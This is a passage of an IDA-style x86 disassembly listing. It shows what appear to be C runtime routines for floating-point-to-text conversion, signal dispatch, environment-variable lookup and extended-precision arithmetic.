; ---------------------------------------------------------------------------


loc_41B83B:				; CODE XREF: sub_41B403+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BFEC
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41B80E
; ---------------------------------------------------------------------------


loc_41B859:				; CODE XREF: sub_41B403+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41B80E
; ---------------------------------------------------------------------------


loc_41B863:				; CODE XREF: sub_41B403+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41B889
; ---------------------------------------------------------------------------


loc_41B874:				; CODE XREF: sub_41B403+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41B889
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41B889:				; CODE XREF: sub_41B403+426j
					; sub_41B403+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41B403	endp

; ---------------------------------------------------------------------------
off_41B8A4	dd offset loc_41B46D	; DATA XREF: sub_41B403+63r
		dd offset loc_41B4BC	; jump table for switch	statement
		dd offset loc_41B513
		dd offset loc_41B53D
		dd offset loc_41B598
		dd offset loc_41B60F
		dd offset loc_41B645
		dd offset loc_41B68F
		dd offset loc_41B66E
		dd offset loc_41B6F3
		dd offset loc_41B6DD
		dd offset loc_41B6A9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B8D4	proc near		; CODE XREF: sub_41A6AC+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41B936
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41B93A
; ---------------------------------------------------------------------------


loc_41B936:				; CODE XREF: sub_41B8D4+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41B93A:				; CODE XREF: sub_41B8D4+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41B960
		test	edi, edi
		jnz	short loc_41B960
		cmp	[ebp+arg_0], edi
		jnz	short loc_41B960


loc_41B94B:				; CODE XREF: sub_41B8D4+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41BB5E
; ---------------------------------------------------------------------------


loc_41B960:				; CODE XREF: sub_41B8D4+6Cj
					; sub_41B8D4+70j ...
		cmp	dx, si
		jnz	short loc_41B9DF
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41B979
		cmp	[ebp+arg_0], 0
		jz	short loc_41B988


loc_41B979:				; CODE XREF: sub_41B8D4+9Dj
		test	edi, 40000000h
		jnz	short loc_41B988
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41B9CE
; ---------------------------------------------------------------------------


loc_41B988:				; CODE XREF: sub_41B8D4+A3j
					; sub_41B8D4+ABj
		test	cx, cx
		jz	short loc_41B9A2
		cmp	edi, 0C0000000h
		jnz	short loc_41B9A2
		cmp	[ebp+arg_0], 0
		jnz	short loc_41B9C9
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41B9B1
; ---------------------------------------------------------------------------


loc_41B9A2:				; CODE XREF: sub_41B8D4+B7j
					; sub_41B8D4+BFj
		cmp	edi, eax
		jnz	short loc_41B9C9
		cmp	[ebp+arg_0], 0
		jnz	short loc_41B9C9
		push	offset a1Inf	; "1#INF"


loc_41B9B1:				; CODE XREF: sub_41B8D4+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_412600
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_41B9C0:				; CODE XREF: sub_41B8D4+109j
		and	[ebp+var_4], 0
		jmp	loc_41BB37
; ---------------------------------------------------------------------------


loc_41B9C9:				; CODE XREF: sub_41B8D4+C5j
					; sub_41B8D4+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_41B9CE:				; CODE XREF: sub_41B8D4+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_412600
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_41B9C0
; ---------------------------------------------------------------------------


loc_41B9DF:				; CODE XREF: sub_41B8D4+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41BFEC
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_41BA40
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41BDCC
		pop	ecx
		pop	ecx


loc_41BA40:				; CODE XREF: sub_41B8D4+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41BA5A
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41BA5D
		jmp	loc_41B94B
; ---------------------------------------------------------------------------


loc_41BA5A:				; CODE XREF: sub_41B8D4+173j
		mov	edi, [ebp+arg_C]


loc_41BA5D:				; CODE XREF: sub_41B8D4+17Fj
		cmp	edi, 15h
		jle	short loc_41BA65
		push	15h
		pop	edi


loc_41BA65:				; CODE XREF: sub_41B8D4+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_41BA7B:				; CODE XREF: sub_41B8D4+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B2E1
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41BA7B
		test	esi, esi
		jge	short loc_41BAA5
		neg	esi
		and	esi, 0FFh
		jle	short loc_41BAA5


loc_41BA98:				; CODE XREF: sub_41B8D4+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B30F
		dec	esi
		pop	ecx
		jnz	short loc_41BA98


loc_41BAA5:				; CODE XREF: sub_41B8D4+1B8j
					; sub_41B8D4+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_41BB02
		mov	[ebp+arg_C], ecx


loc_41BAB5:				; CODE XREF: sub_41B8D4+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41B2E1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B2E1
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B283
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B2E1
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_41BAB5
		mov	eax, [ebp+arg_14]


loc_41BB02:				; CODE XREF: sub_41B8D4+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41BB3F


loc_41BB0F:				; CODE XREF: sub_41B8D4+248j
		cmp	eax, ecx
		jb	short loc_41BB22
		cmp	byte ptr [eax],	39h
		jnz	short loc_41BB1E
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41BB0F
; ---------------------------------------------------------------------------


loc_41BB1E:				; CODE XREF: sub_41B8D4+242j
		cmp	eax, ecx
		jnb	short loc_41BB26


loc_41BB22:				; CODE XREF: sub_41B8D4+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_41BB26:				; CODE XREF: sub_41B8D4+24Cj
		inc	byte ptr [eax]


loc_41BB28:				; CODE XREF: sub_41B8D4+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41BB37:				; CODE XREF: sub_41B8D4+F0j
		mov	eax, [ebp+var_4]


loc_41BB3A:				; CODE XREF: sub_41B8D4+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BB3F:				; CODE XREF: sub_41B8D4+239j
					; sub_41B8D4+275j
		cmp	eax, ecx
		jb	short loc_41BB4F
		cmp	byte ptr [eax],	30h
		jnz	short loc_41BB4B
		dec	eax
		jmp	short loc_41BB3F
; ---------------------------------------------------------------------------


loc_41BB4B:				; CODE XREF: sub_41B8D4+272j
		cmp	eax, ecx
		jnb	short loc_41BB28


loc_41BB4F:				; CODE XREF: sub_41B8D4+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_41BB5E:				; CODE XREF: sub_41B8D4+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41BB3A
sub_41B8D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB67	proc near		; CODE XREF: sub_41746C+3420p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_41BBCE
		dec	eax
		dec	eax
		jz	short loc_41BBBF
		sub	eax, 4
		jz	short loc_41BBBF
		sub	eax, 3
		jz	short loc_41BBBF
		sub	eax, 4
		jz	short loc_41BBB2
		sub	eax, 6
		jz	short loc_41BBA5
		dec	eax
		jz	short loc_41BB98
		or	eax, 0FFFFFFFFh
		jmp	loc_41BC90
; ---------------------------------------------------------------------------


loc_41BB98:				; CODE XREF: sub_41BB67+27j
		mov	esi, dword_462E9C
		mov	eax, offset dword_462E9C
		jmp	short loc_41BBD9
; ---------------------------------------------------------------------------


loc_41BBA5:				; CODE XREF: sub_41BB67+24j
		mov	esi, dword_462E98
		mov	eax, offset dword_462E98
		jmp	short loc_41BBD9
; ---------------------------------------------------------------------------


loc_41BBB2:				; CODE XREF: sub_41BB67+1Fj
		mov	esi, dword_462EA0
		mov	eax, offset dword_462EA0
		jmp	short loc_41BBD9
; ---------------------------------------------------------------------------


loc_41BBBF:				; CODE XREF: sub_41BB67+10j
					; sub_41BB67+15j ...
		push	edi
		call	sub_41BC94
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_41BBD9
; ---------------------------------------------------------------------------


loc_41BBCE:				; CODE XREF: sub_41BB67+Cj
		mov	esi, dword_462E94
		mov	eax, offset dword_462E94


loc_41BBD9:				; CODE XREF: sub_41BB67+3Cj
					; sub_41BB67+49j ...
		cmp	esi, 1
		jnz	short loc_41BBE5
		xor	eax, eax
		jmp	loc_41BC90
; ---------------------------------------------------------------------------


loc_41BBE5:				; CODE XREF: sub_41BB67+75j
		test	esi, esi
		jnz	short loc_41BBF0
		push	3
		call	sub_413FE8


loc_41BBF0:				; CODE XREF: sub_41BB67+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_41BC02
		cmp	edi, 0Bh
		jz	short loc_41BC02
		cmp	edi, 4
		jnz	short loc_41BC28


loc_41BC02:				; CODE XREF: sub_41BB67+8Fj
					; sub_41BB67+94j
		mov	ebx, dword_462C74
		and	dword_462C74, 0
		cmp	edi, ecx
		jnz	short loc_41BC57
		mov	edx, dword_431B0C
		mov	dword_431B0C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41BC2B
; ---------------------------------------------------------------------------


loc_41BC28:				; CODE XREF: sub_41BB67+99j
		mov	ebx, [ebp+arg_0]


loc_41BC2B:				; CODE XREF: sub_41BB67+BFj
		cmp	edi, ecx
		jnz	short loc_41BC57
		mov	eax, dword_431B00
		mov	ecx, dword_431B04
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41BC5E
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:431A90h[edx*4]


loc_41BC4C:				; CODE XREF: sub_41BB67+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41BC4C
		jmp	short loc_41BC5E
; ---------------------------------------------------------------------------


loc_41BC57:				; CODE XREF: sub_41BB67+AAj
					; sub_41BB67+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41BC6C


loc_41BC5E:				; CODE XREF: sub_41BB67+D7j
					; sub_41BB67+EEj
		push	dword_431B0C
		push	8
		call	esi ; dword_462E9C
		pop	ecx
		pop	ecx
		jmp	short loc_41BC7A
; ---------------------------------------------------------------------------


loc_41BC6C:				; CODE XREF: sub_41BB67+F5j
		push	edi
		call	esi ; dword_462E9C
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41BC7A
		cmp	edi, 4
		jnz	short loc_41BC8D


loc_41BC7A:				; CODE XREF: sub_41BB67+103j
					; sub_41BB67+10Cj
		cmp	edi, 8
		mov	dword_462C74, ebx
		jnz	short loc_41BC8D
		mov	eax, [ebp+arg_0]
		mov	dword_431B0C, eax


loc_41BC8D:				; CODE XREF: sub_41BB67+111j
					; sub_41BB67+11Cj
		xor	eax, eax
		pop	ebx


loc_41BC90:				; CODE XREF: sub_41BB67+2Cj
					; sub_41BB67+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BB67	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41BC94	proc near		; CODE XREF: sub_41BB67+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_431B08
		cmp	dword_431A8C, edx
		push	esi
		mov	eax, offset dword_431A88
		jz	short loc_41BCC2
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:431A88h[esi*4]


loc_41BCB6:				; CODE XREF: sub_41BC94+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41BCC2
		cmp	[eax+4], edx
		jnz	short loc_41BCB6


loc_41BCC2:				; CODE XREF: sub_41BC94+16j
					; sub_41BC94+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:431A88h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41BCD6
		cmp	[eax+4], edx
		jz	short locret_41BCD8


loc_41BCD6:				; CODE XREF: sub_41BC94+3Bj
		xor	eax, eax

locret_41BCD8:				; CODE XREF: sub_41BC94+40j
		retn
sub_41BC94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BCD9	proc near		; CODE XREF: sub_41AA32+23p

arg_0		= dword	ptr  4

		cmp	dword_464228, 0
		push	ebx
		push	esi
		mov	esi, dword_462BEC
		push	edi
		jz	short loc_41BD50
		test	esi, esi
		jnz	short loc_41BD0A
		cmp	dword_462BF4, esi
		jz	short loc_41BD50
		call	sub_41C0A7
		test	eax, eax
		jnz	short loc_41BD50
		mov	esi, dword_462BEC
		test	esi, esi
		jz	short loc_41BD50


loc_41BD0A:				; CODE XREF: sub_41BCD9+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41BD50
		push	ebx
		call	sub_4126F0
		pop	ecx
		mov	edi, eax


loc_41BD1B:				; CODE XREF: sub_41BCD9+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41BD50
		push	eax
		call	sub_4126F0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41BD43
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41BD43
		push	edi
		push	ebx
		push	eax
		call	sub_41C068
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BD48


loc_41BD43:				; CODE XREF: sub_41BCD9+51j
					; sub_41BCD9+59j
		add	esi, 4
		jmp	short loc_41BD1B
; ---------------------------------------------------------------------------


loc_41BD48:				; CODE XREF: sub_41BCD9+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41BD52
; ---------------------------------------------------------------------------


loc_41BD50:				; CODE XREF: sub_41BCD9+10j
					; sub_41BCD9+1Cj ...
		xor	eax, eax


loc_41BD52:				; CODE XREF: sub_41BCD9+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41BCD9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD56	proc near		; CODE XREF: sub_41B11C+8Bp
					; sub_41B11C+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_463FE0
		jnb	short loc_41BDBD
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_463EE0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41BDBD
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41BD96
		and	cl, 7Fh
		jmp	short loc_41BDA3
; ---------------------------------------------------------------------------


loc_41BD96:				; CODE XREF: sub_41BD56+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41BDB1
		or	cl, 80h


loc_41BDA3:				; CODE XREF: sub_41BD56+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BDB1:				; CODE XREF: sub_41BD56+48j
		mov	dword_462BC4, 16h
		jmp	short loc_41BDC7
; ---------------------------------------------------------------------------


loc_41BDBD:				; CODE XREF: sub_41BD56+Bj
					; sub_41BD56+27j
		mov	dword_462BC4, 9


loc_41BDC7:				; CODE XREF: sub_41BD56+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41BD56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BDCC	proc near		; CODE XREF: sub_41B8D4+165p
					; sub_41BFEC+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41BFCC
		cmp	cx, 7FFFh
		jnb	loc_41BFCC
		cmp	dx, 0BFFDh
		ja	loc_41BFCC
		cmp	dx, 3FBFh
		ja	short loc_41BE35
		xor	eax, eax
		jmp	short loc_41BE6F
; ---------------------------------------------------------------------------


loc_41BE35:				; CODE XREF: sub_41BDCC+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41BE57
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41BE57
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41BE59
		cmp	[esi], eax
		jnz	short loc_41BE59
		jmp	loc_41BFC6
; ---------------------------------------------------------------------------


loc_41BE57:				; CODE XREF: sub_41BDCC+71j
					; sub_41BDCC+79j
		xor	eax, eax


loc_41BE59:				; CODE XREF: sub_41BDCC+80j
					; sub_41BDCC+84j
		cmp	cx, ax
		jnz	short loc_41BE7C
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41BE7C
		cmp	[ebx+4], eax
		jnz	short loc_41BE7C
		cmp	[ebx], eax
		jnz	short loc_41BE7C


loc_41BE6F:				; CODE XREF: sub_41BDCC+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41BFE7
; ---------------------------------------------------------------------------


loc_41BE7C:				; CODE XREF: sub_41BDCC+90j
					; sub_41BDCC+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_41BE8C:				; CODE XREF: sub_41BDCC+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41BEE0
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_41BEA8:				; CODE XREF: sub_41BDCC+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41B262
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BED3
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_41BED3:				; CODE XREF: sub_41BDCC+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41BEA8


loc_41BEE0:				; CODE XREF: sub_41BDCC+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41BE8C
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41BF23


loc_41BEFE:				; CODE XREF: sub_41BDCC+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41BF1C
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41B2E1
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41BEFE


loc_41BF1C:				; CODE XREF: sub_41BDCC+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41BF5C


loc_41BF23:				; CODE XREF: sub_41BDCC+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41BF5C
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_41BF3C:				; CODE XREF: sub_41BDCC+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41BF45
		inc	[ebp+var_14]


loc_41BF45:				; CODE XREF: sub_41BDCC+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41B30F
		dec	ebx
		pop	ecx
		jnz	short loc_41BF3C
		cmp	[ebp+var_14], 0
		jz	short loc_41BF5C
		or	byte ptr [ebp+var_24], 1


loc_41BF5C:				; CODE XREF: sub_41BDCC+155j
					; sub_41BDCC+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41BF73
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41BFA8


loc_41BF73:				; CODE XREF: sub_41BDCC+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41BFA5
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41BFA0
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41BF9A
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41BFA8
; ---------------------------------------------------------------------------


loc_41BF9A:				; CODE XREF: sub_41BDCC+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41BFA8
; ---------------------------------------------------------------------------


loc_41BFA0:				; CODE XREF: sub_41BDCC+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41BFA8
; ---------------------------------------------------------------------------


loc_41BFA5:				; CODE XREF: sub_41BDCC+1ABj
		inc	[ebp+var_24+2]


loc_41BFA8:				; CODE XREF: sub_41BDCC+1A5j
					; sub_41BDCC+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41BFCC
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_41BFC6:				; CODE XREF: sub_41BDCC+86j
		mov	[esi+0Ah], ax
		jmp	short loc_41BFE7
; ---------------------------------------------------------------------------


loc_41BFCC:				; CODE XREF: sub_41BDCC+42j
					; sub_41BDCC+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41BFE7:				; CODE XREF: sub_41BDCC+ABj
					; sub_41BDCC+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BDCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BFEC	proc near		; CODE XREF: sub_41B403+440p
					; sub_41B8D4+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_431F80
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_41C065
		jge	short loc_41C014
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_4320E0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_41C014:				; CODE XREF: sub_41BFEC+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C01F
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_41C01F:				; CODE XREF: sub_41BFEC+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_41C065
		push	esi
		push	edi


loc_41C026:				; CODE XREF: sub_41BFEC+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_41C05E
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_41C051
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_41C051:				; CODE XREF: sub_41BFEC+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41BDCC
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_41C05E:				; CODE XREF: sub_41BFEC+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41C026
		pop	edi
		pop	esi


loc_41C065:				; CODE XREF: sub_41BFEC+14j
					; sub_41BFEC+36j
		pop	ebx
		leave
		retn
sub_41BFEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C068	proc near		; CODE XREF: sub_41BCD9+5Ep
					; sub_41C519+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_41C075
		xor	eax, eax
		pop	ebp
		retn
